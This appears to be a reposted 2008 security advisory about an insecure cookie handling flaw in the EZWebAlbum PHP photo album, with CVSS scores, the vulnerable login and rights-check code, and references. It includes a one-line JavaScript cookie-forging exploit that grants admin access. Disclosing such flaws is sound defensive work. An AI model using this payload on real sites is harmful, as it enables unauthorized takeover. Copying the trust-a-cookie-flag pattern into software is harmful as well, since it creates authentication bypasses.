EZWebAlbum Insecure Cookie Handling Vulnerability

2008.07.26
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-287


CVSS Base Score: 6.4/10
Impact Subscore: 4.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: None

################################################################################### # # # ...:::::EZWebAlbum Insecure Cookie Handling Vulnerability ::::.... # ################################################################################### Virangar Security Team www.virangar.net www.virangar.ir -------- Discoverd By :virangar security team(Zahra:zh_virangar) special tnx :my master hadihadi tnx to:MR.nosrati,black.shadowes,MR.hesy & all virangar members & all hackerz ------- DESCRIPTION: EZWebAlbum, suffers from insecure cookie handling, when a admin login is successfull the script creates a cookie to show the rest of the admin area the user is already logged in. the bad thing is the cookie doesnt contain any password or anything alike, therefor we can craft a admin cookie and make it look like we are logged in as a legit admin. --- some code in index.php: if ( $HTTP_POST_VARS['enteredadminpassword'] == $adminpassword ) { setcookie("photoalbumadmin","1"); header("Location: index.php"); } ********************** now vuln code in constants.inc: $gotalbumadminrights = False; if (isset($photoalbumadmin)) { $gotalbumadminrights = True; }//SET ADMIN RIGHTS IF COOKIE FOUND --- exploit: javascript:document.cookie = "photoalbumadmin=1; path=/"; ----- now you can get admin access and manage the cms ;) [+]Example:add a new page in addpage.php ------- young iranian h4ck3rz

References:

http://xforce.iss.net/xforce/xfdb/43938
http://www.securityfocus.com/bid/30343
http://www.milw0rm.com/exploits/6115


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top